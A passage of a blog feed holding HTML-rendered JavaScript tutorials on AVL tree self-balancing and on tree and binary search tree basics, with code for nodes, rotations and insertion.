&#123;</span><br><span class="line">    <span class="comment">// right subtree is higher than left subtree</span></span><br><span class="line">    <span class="keyword">if</span> (node.right.balanceFactor &lt; <span class="number">0</span>) &#123;</span><br><span class="line">      leftRotation(node);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (node.right.balanceFactor &gt; <span class="number">0</span>) &#123;</span><br><span class="line">      rightLeftRotation(node);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Based on the balance factor, there four different rotation that we can do: RR, LL, RL, and LR. To know what rotation to do we:</p>
<ol>
<li>Take a look into the given <code>node</code>‘s <code>balanceFactor</code>.</li>
<li>If the balance factor is <code>-1</code>, <code>0</code> or <code>1</code> we are done.</li>
<li>If the node needs balancing, then we use the node’s left or right balance factor to tell which kind of rotation it needs.</li>
</ol>
<p>Notice that we haven’t implemented the <code>node.balanceFactor</code>  attribute yet, but we are going to do that next.</p>
<p>One of the easiest ways to implement subtree heights is by using recursion. Let’s go ahead and add height-related properties to <code>TreeNode</code> class:</p>
<figure class="highlight js"><figcaption><span>height, leftSubtreeHeight and rightSubtreeHeight</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-node.js#L125">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">get</span> <span class="title">height</span>() &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">Math</span>.max(<span class="built_in">this</span>.leftSubtreeHeight, <span class="built_in">this</span>.rightSubtreeHeight);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">get</span> <span class="title">leftSubtreeHeight</span>() &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">this</span>.left ? <span class="built_in">this</span>.left.height + <span class="number">1</span> : <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">get</span> <span class="title">rightSubtreeHeight</span>() &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">this</span>.right ? <span class="built_in">this</span>.right.height + <span class="number">1</span> : <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">get</span> <span class="title">balanceFactor</span>() &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">this</span>.leftSubtreeHeight - <span class="built_in">this</span>.rightSubtreeHeight;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>To understand better what’s going on, let’s do some examples.</p>
<h3 id="Tree-with-one-node"><a href="#Tree-with-one-node" class="headerlink" title="Tree with one node"></a>Tree with one node</h3><p>Let’s start with a single root node:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">  40*</span><br><span class="line">&#x2F;     \</span><br></pre></td></tr></table></figure>

<ul>
<li>Since this node doesn’t have left nor right children then <code>leftSubtreeHeight</code> and <code>rightSubtreeHeight</code> will return <code>0</code>.</li>
<li>Height is <code>Math.max(this.leftSubtreeHeight, this.rightSubtreeHeight)</code> which is  <code>Math.max(0, 0)</code>, so height is <code>0</code>.</li>
<li>Balance factor is also zero since <code>0 - 0 = 0</code>.</li>
</ul>
<h3 id="Tree-with-multiple-nodes"><a href="#Tree-with-multiple-nodes" class="headerlink" title="Tree with multiple nodes"></a>Tree with multiple nodes</h3><p>Let’s try with multiple nodes:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">     40</span><br><span class="line">   &#x2F;   \</span><br><span class="line">  35    60</span><br><span class="line"> &#x2F;     &#x2F;</span><br><span class="line">25    50</span><br><span class="line">     &#x2F;</span><br><span class="line">    45</span><br></pre></td></tr></table></figure>

<p><strong>balanceFactor(45)</strong></p>
<ul>
<li>As we saw leaf nodes doesn’t have left or right subtree, so their heights are 0, thus balance factor is 0.</li>
</ul>
<p><strong>balanceFactor(50)</strong></p>
<ul>
<li><code>leftSubtreeHeight = 1</code> and <code>rightSubtreeHeight = 0</code>.</li>
<li><code>height = Math.max(1, 0)</code>, so it’s <code>1</code>.</li>
<li>Balance factor is <code>1 - 0</code>, so it’s <code>1</code> as well.</li>
</ul>
<p><strong>balanceFactor(60)</strong></p>
<ul>
<li><code>leftSubtreeHeight = 2</code> and <code>rightSubtreeHeight = 0</code>.</li>
<li><code>height = Math.max(2, 0)</code>, so it’s <code>2</code>.</li>
<li>Balance factor is <code>2 - 0</code>, so it’s <code>2</code> and it’s UNBALANCED!</li>
</ul>
<p>If we use our <code>balance</code> function on node <code>60</code> that we developed, then it would do a <code>rightRotation</code> on <code>60</code> and the tree will look like:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">     40</span><br><span class="line">   &#x2F;   \</span><br><span class="line">  35    50</span><br><span class="line"> &#x2F;     &#x2F;   \</span><br><span class="line">25    45    60*</span><br></pre></td></tr></table></figure>

<p>Before the height of the tree (from the root) was 3, now it’s only 2.</p>
<p>Let’s put all together and explain how we can keep a binary search tree balanced on insertion and deletion.</p>
<h2 id="AVL-Tree-Insertion-and-Deletion"><a href="#AVL-Tree-Insertion-and-Deletion" class="headerlink" title="AVL Tree Insertion and Deletion"></a>AVL Tree Insertion and Deletion</h2><p>AVL tree is just a layer on top of a regular Binary Search Tree (BST). The add/remove operations are the same as in the BST, the only difference is that we run the <code>balance</code> function after each change.</p>
<p>Let’s implement the AVL Tree.</p>
<figure class="highlight js"><figcaption><span>AvlTree</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/avl-tree.js">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> BinarySearchTree = <span class="built_in">require</span>(<span class="string">&#x27;./binary-search-tree&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">AvlTree</span> <span class="keyword">extends</span> <span class="title">BinarySearchTree</span> </span>&#123;</span><br><span class="line">  add(value) &#123;</span><br><span class="line">    <span class="keyword">const</span> node = <span class="built_in">super</span>.add(value);</span><br><span class="line marked">    balanceUpstream(node);</span><br><span class="line">    <span class="keyword">return</span> node;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  remove(value) &#123;</span><br><span class="line">    <span class="keyword">const</span> node = <span class="built_in">super</span>.find(value);</span><br><span class="line">    <span class="keyword">if</span> (node) &#123;</span><br><span class="line">      <span class="keyword">const</span> found = <span class="built_in">super</span>.remove(value);</span><br><span class="line marked">      balanceUpstream(node.parent);</span><br><span class="line">      <span class="keyword">return</span> found;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>If you need to review the dependencies here are the links to the implementations:</p>
<ul>
<li><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js">binary-search-tree</a></li>
<li><a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/trees/avl-tree.js#L46">balanceUpstream</a></li>
</ul>
<p>The <code>balanceUpstream</code> function gets executed after an insertion or deletion.</p>
<figure class="highlight js"><figcaption><span>balanceUpstream</span><a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/trees/avl-tree.js#L46">Context</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">balanceUpstream</span>(<span class="params">node</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">let</span> current = node;</span><br><span class="line">  <span class="keyword">let</span> newParent;</span><br><span class="line">  <span class="keyword">while</span> (current) &#123;</span><br><span class="line marked">    newParent = balance(current);</span><br><span class="line">    current = current.parent;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> newParent;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We go recursively using the <code>balance</code> function on the nodes’ parent until we reach the root node.</p>
<p>In the following animation, we can see AVL tree insertions and deletions in action:</p>
<img src="/images/avl-tree-insert-remove.gif" class="" title="AVL tree insertions and deletions">

<p>You can also check the
<a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/avl-tree.spec.js">test files</a>
to see more detailed examples of how to use the AVL trees.</p>
<p>That’s all folks!</p>
<!-- --- -->


<!-- Perfect binary trees (when every level is full of nodes) are always balanced because their height is the lowest possible given the number of nodes. -->

<!-- \`|~ log_2 (n + 1) ~|\` -->

<!-- or -->

<!-- *`Math.ceil( Math.log2(n  + 1) )`*, where *`n`* is the total number of nodes. -->

<!-- However, perfect binary trees are not very common in the real world. We want to guarantee a search time of *`O(log n)`*. Relaxing a little bit the definition we can say that -->

<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>In this post, we explored the AVL tree, which is a particular binary search tree that self-balance itself after insertions and deletions of nodes. The operations of balancing a tree involve rotations, and they can be single or double rotations.</p>
<p>Single rotations:</p>
<ul>
<li>Left rotation</li>
<li>Right rotation</li>
</ul>
<p>Double rotations:</p>
<ul>
<li>Left-Right rotation</li>
<li>Right-Left rotation</li>
</ul>
<p>You can find all the code developed here in the
<a href="https://github.com/amejiarosario/dsa.js/tree/master/src/data-structures/trees">Github</a>.
You can <code>star</code> it to keep it handy.</p>
]]></content>
    
    <summary type="html">
    
      &lt;script type=&quot;text/javascript&quot; src=&quot;https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML&quot; async&gt;&lt;/script&gt;


&lt;p&gt;Binary Search Trees (BST) is used for many things that we might not be aware of. For instance: in compilers to generate syntax trees, cryptography and in compressions algorithms used in JPG and MP3. However, search trees need to be balanced to be fast. So, we are going to discuss how to keep the BST balanced as you add and remove elements.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/coding/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>Tree Data Structures in JavaScript for Beginners</title>
    <link href="https://adrianmejia.com/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/"/>
    <id>https://adrianmejia.com/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/</id>
    <published>2018-06-11T22:49:30.000Z</published>
    <updated>2019-05-23T19:17:30.000Z</updated>
    
    <content type="html"><![CDATA[<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML" async></script>

<p>Tree data structures have many uses, and it’s good to have a basic understanding of how they work. Trees are the basis for other very used data structures like Maps and Sets. Also, they are used on databases to perform quick searches. The HTML DOM uses a tree data structure to represents the hierarchy of elements.  This post will explore the different types of trees like binary trees, binary search trees, and how to implement them.</p>
<a id="more"></a>

<p>We explored <a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">Graph data structures</a> in the previous post, which are a generalized case of trees. Let’s get started learning what tree data structures are!</p>
<hr>
<p>This post is part of a tutorial series:</p>
<p><strong>Learning Data Structures and Algorithms (DSA) for Beginners</strong></p>
<ol>
<li><p><a href="/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/">Intro to algorithm’s time complexity and Big O notation</a></p>
<!-- 1. Intro to Algorithm's Time Complexity and Big O Notation **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">Eight time complexities that every programmer should know</a></p>
<!-- 1. Eight time complexities that every programmer should know **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/28/Data-Structures-Time-Complexity-for-Beginners-Arrays-HashMaps-Linked-Lists-Stacks-Queues-tutorial/">Data Structures for Beginners: Arrays, HashMaps, and Lists</a></p>
<!-- 1. Data Structures for Beginners: Arrays, HashMaps, and Lists **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">Graph Data Structures for Beginners</a></p>
<!-- 1. Graph Data Structures for Beginners **👈 you are here** -->
</li>
<li><p>Trees Data Structures for Beginners <strong>👈 you are here</strong></p>
<!-- 1. [Trees Data Structures for Beginners](/blog/2018/06/11/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/) -->
</li>
<li><p><a href="/blog/2018/07/16/Self-balanced-Binary-Search-Trees-with-AVL-tree-Data-Structure-for-beginners/">Self-balanced Binary Search Trees</a></p>
<!-- 1. Self-balanced Binary Search Trees  **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/24/Analysis-of-Recursive-Algorithms/">Appendix I: Analysis of Recursive Algorithms</a></p>
</li>
</ol>
<hr>
<h2 id="Trees-basic-concepts"><a href="#Trees-basic-concepts" class="headerlink" title="Trees: basic concepts"></a>Trees: basic concepts</h2><p>A tree is a data structure where a node can have zero or more children. Each node contains a <strong>value</strong>. Like graphs, the connection between nodes is called <strong>edges</strong>. A tree is a type of graph, but not all graphs are trees (more on that later).</p>
<p>These data structures are called “trees” because the data structure resembles a tree 🌳. It starts with a <strong>root</strong> node and <strong>branch</strong> off with its descendants, and finally, there are <strong>leaves</strong>.</p>
<!-- { img https://www.tutorialspoint.com/data_structures_algorithms/images/binary_tree.jpg Tree } -->
<!-- { img http://www.i-programmer.info/images/stories/BabBag/trees/Tree1.jpg Tree elements } -->

<img src="/images/tree-parts.jpg" class="">

<p>Here are some properties of trees:</p>
<ul>
<li>The top-most node is called <strong>root</strong>.</li>
<li>A node without children is called <strong>leaf</strong> node or <strong>terminal</strong> node.</li>
<li><strong>Height</strong> (<em>h</em>) of the tree is the distance (edge count) between the farthest leaf to the root.<ul>
<li><code>A</code> has a height of 3</li>
<li><code>I</code> has a height of 0</li>
</ul>
</li>
<li><strong>Depth</strong> or <strong>level</strong> of a node is the distance between the root and the node in question.<ul>
<li><code>H</code> has a depth of 2</li>
<li><code>B</code> has a depth of 1</li>
</ul>
</li>
</ul>
<h3 id="Implementing-a-simple-tree-data-structure"><a href="#Implementing-a-simple-tree-data-structure" class="headerlink" title="Implementing a simple tree data structure"></a>Implementing a simple tree data structure</h3><p>As we saw earlier, a tree node is just a data structure with a value and links to its descendants.</p>
<p>Here’s an example of a tree node:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TreeNode</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(value) &#123;</span><br><span class="line">    <span class="built_in">this</span>.value = value;</span><br><span class="line">    <span class="built_in">this</span>.descendants = [];</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We can create a tree with 3 descendants as follows:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// create nodes with values</span></span><br><span class="line"><span class="keyword">const</span> abe = <span class="keyword">new</span> TreeNode(<span class="string">&#x27;Abe&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> homer = <span class="keyword">new</span> TreeNode(<span class="string">&#x27;Homer&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> bart = <span class="keyword">new</span> TreeNode(<span class="string">&#x27;Bart&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> lisa = <span class="keyword">new</span> TreeNode(<span class="string">&#x27;Lisa&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> maggie = <span class="keyword">new</span> TreeNode(<span class="string">&#x27;Maggie&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// associate root with is descendants</span></span><br><span class="line">abe.descendants.push(homer);</span><br><span class="line">homer.descendants.push(bart, lisa, maggie);</span><br></pre></td></tr></table></figure>

<p>That’s all; we have a tree data structure!</p>
<img src="/images/simpson2-tree.jpg" class="" title="Simpson tree data structure">

<p>The node <code>abe</code> is the <strong>root</strong> and <code>bart</code>, <code>lisa</code> and <code>maggie</code> are the <strong>leaf</strong> nodes of the tree. Notice that the tree’s node can have different descendants: 0, 1, 3, or any other value.</p>
<p>Tree data structures have many applications such as:</p>
<!-- - Searching in a time complexity of *O(log n)*. -->
<!-- - Cryptography: [Generate pseudorandom numbers](https://www.cs.princeton.edu/courses/archive/fall07/cos433/prf_goldreich.pdf) -->
<ul>
<li><a href="https://adrianmejia.com/blog/2018/04/28/data-structures-time-complexity-for-beginners-arrays-hashmaps-linked-lists-stacks-queues-tutorial/#HashMaps">Maps</a></li>
<li><a href="https://adrianmejia.com/blog/2018/04/28/data-structures-time-complexity-for-beginners-arrays-hashmaps-linked-lists-stacks-queues-tutorial/#Sets">Sets</a></li>
<li>Databases</li>
<li>Priority Queues</li>
<li>Querying an LDAP (Lightweight Directory Access Protocol)</li>
<li>Representing the Document Object Model (DOM) for HTML on Websites.</li>
</ul>
<h2 id="Binary-Trees"><a href="#Binary-Trees" class="headerlink" title="Binary Trees"></a>Binary Trees</h2><p>Trees nodes can have zero or more children. However, when a tree has at the most two children, then it’s called <strong>binary tree</strong>.</p>
<h3 id="Full-Complete-and-Perfect-binary-trees"><a href="#Full-Complete-and-Perfect-binary-trees" class="headerlink" title="Full, Complete, and Perfect binary trees"></a>Full, Complete, and Perfect binary trees</h3><p>Depending on how nodes are arranged in a binary tree, it can be <strong>full</strong>, <strong>complete</strong> and <strong>perfect</strong>:</p>
<ul>
<li><strong>Full binary tree</strong>: each node has exactly 0 or 2 children (but never 1).</li>
<li><strong>Complete binary tree</strong>: when all levels except the last one are <strong>full</strong> with nodes.</li>
<li><strong>Perfect binary tree</strong>: when all the levels (including the last one) are full of nodes.</li>
</ul>
<!-- If each node has only two children (left and right), we call it **Binary Tree**. -->

<!-- A binary tree where every node has 0 or 2 children then it said to be a **full binary tree** -->

<!-- When a binary is perfect and comple, it is called a **Perfect Binary Tree**. -->
<!-- { img http://www.csie.ntnu.edu.tw/~u91029/BinaryTree2.png full Binary Tree } -->

<!-- **Complete binary tree** is when all levels except the last one are filled with nodes. -->


<!-- You can also have a combination of full and complete binary trees: -->
<!-- { img https://gsourcecode.files.wordpress.com/2012/02/complete-full-trees1.png "Complete/Full binary tree" } -->

<p>Look at these examples:</p>
<img src="/images/full-complete-perfect-binary-tree.jpg" class="" title="Full vs. Complete vs. Perfect Binary Tree">

<p>These properties are not always mutually exclusive. You can have more than one:</p>
<ul>
<li>A perfect tree is <strong>always</strong> complete and full.<ul>
<li>Perfect binary trees have precisely `2^k - 1` nodes, where <em><code>k</code></em> is the last level of the tree (starting with 1).</li>
</ul>
</li>
<li>A complete tree is <strong>not</strong> always <code>full</code>.<ul>
<li>Like in our “complete” example, since it has a parent with only one child. If we remove the rightmost gray node, then we would have a <strong>complete</strong> and <strong>full</strong> tree but not perfect.</li>
</ul>
</li>
<li>A full tree is not always complete and perfect.</li>
</ul>
<!-- If each non-leaf node on a binary tree has two descendants, then we say it is a **complete tree** -->

<!-- { img https://www.cs.cmu.edu/~adamchik/15-121/lectures/Trees/pix/full_complete.bmp caption } -->

<h2 id="Binary-Search-Tree-BST"><a href="#Binary-Search-Tree-BST" class="headerlink" title="Binary Search Tree (BST)"></a>Binary Search Tree (BST)</h2><p>Binary Search Trees or BST for short are a particular application of binary trees. BST has at most two nodes (like all binary trees). However, the values are so that the left children value must be less than the parent, and the right children must be higher.</p>
<!-- ---BST vs non-BST--- -->

<p><strong>Duplicates:</strong> Some BST doesn’t allow duplicates while others add the same values as a right child. Other implementations might keep a count on a case of duplicity (we are going to do this one later).</p>
<p>Let’s implement a Binary Search Tree!</p>
<h3 id="BST-Implementation"><a href="#BST-Implementation" class="headerlink" title="BST Implementation"></a>BST Implementation</h3><p>BST are very similar to our previous <a href="#Implementing-a-simple-tree-data-structure">implementation of a tree</a>. However, there are some differences:</p>
<ul>
<li>Nodes can have, at most, only two children: left and right.</li>
<li>Nodes values has to be ordered as <code>left &lt; parent &lt; right</code>.</li>
</ul>
<p>Here’s the tree node. Very similar to what we did before, but we added some handy getters and setters for left and right children. Notice is also keeping a reference to the parent, and we update it every time we add children.</p>
<figure class="highlight js"><figcaption><span>TreeNode.js</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-node.js">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line marked"><span class="keyword">const</span> LEFT = <span class="number">0</span>;</span><br><span class="line marked"><span class="keyword">const</span> RIGHT = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TreeNode</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(value) &#123;</span><br><span class="line">    <span class="built_in">this</span>.value = value;</span><br><span class="line">    <span class="built_in">this</span>.descendants = [];</span><br><span class="line marked">    <span class="built_in">this</span>.parent = <span class="literal">null</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">get</span> <span class="title">left</span>() &#123;</span><br><span class="line marked">    <span class="keyword">return</span> <span class="built_in">this</span>.descendants[LEFT];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">set</span> <span class="title">left</span>(<span class="params">node</span>) &#123;</span><br><span class="line marked">    <span class="built_in">this</span>.descendants[LEFT] = node;</span><br><span class="line">    <span class="keyword">if</span> (node) &#123;</span><br><span class="line marked">      node.parent = <span class="built_in">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">get</span> <span class="title">right</span>() &#123;</span><br><span class="line marked">    <span class="keyword">return</span> <span class="built_in">this</span>.descendants[RIGHT];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">set</span> <span class="title">right</span>(<span class="params">node</span>) &#123;</span><br><span class="line marked">    <span class="built_in">this</span>.descendants[RIGHT] = node;</span><br><span class="line">    <span class="keyword">if</span> (node) &#123;</span><br><span class="line marked">      node.parent = <span class="built_in">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Ok, so far, we can add a left and right child. Now, let’s do the BST class that enforces the <code>left &lt; parent &lt; right</code> rule.</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.js linkUrl linkText</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">BinarySearchTree</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123;</span><br><span class="line">    <span class="built_in">this</span>.root = <span class="literal">null</span>;</span><br><span class="line">    <span class="built_in">this</span>.size = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  add(value) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  find(value) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  remove(value) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  getMax() &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  getMin() &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Let’s implementing insertion.</p>
<h3 id="BST-Node-Insertion"><a href="#BST-Node-Insertion" class="headerlink" title="BST Node Insertion"></a>BST Node Insertion</h3><p>To insert a node in a binary tree, we do the following:</p>
<ol>
<li>If a tree is empty, the first node becomes the <strong>root</strong>, and you are done.</li>
<li>Compare root/parent’s value if it’s <em>higher</em> go <strong>right</strong>, if it’s <em>lower</em> go <strong>left</strong>. If it’s the same, then the value already exists so that you can increase the duplicate count (multiplicity).</li>
<li>Repeat #2 until we found an empty slot to insert the new node.</li>
</ol>
<p>Let’s do an illustration how to insert 30, 40, 10, 15, 12, 50:</p>
<img src="/images/bst2.gif" class="" title="Inserting nodes on a Binary Search Tree (BST)">

<p>We can implement insert as follows:</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.add</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js#L11">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">add(value) &#123;</span><br><span class="line">  <span class="keyword">const</span> newNode = <span class="keyword">new</span> TreeNode(value);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (<span class="built_in">this</span>.root) &#123;</span><br><span class="line marked">    <span class="keyword">const</span> &#123; found, parent &#125; = <span class="built_in">this</span>.findNodeAndParent(value);</span><br><span class="line">    <span class="keyword">if</span> (found) &#123; <span class="comment">// duplicated: value already exist on the tree</span></span><br><span class="line marked">      found.meta.multiplicity = (found.meta.multiplicity || <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (value &lt; parent.value) &#123;</span><br><span class="line">      parent.left = newNode;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      parent.right = newNode;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.root = newNode;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">this</span>.size += <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">return</span> newNode;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We are using a helper function called <code>findNodeAndParent</code>. If we found that the node already exists in the tree, then we increase the <code>multiplicity</code> counter. Let’s see how this function is implemented:</p>
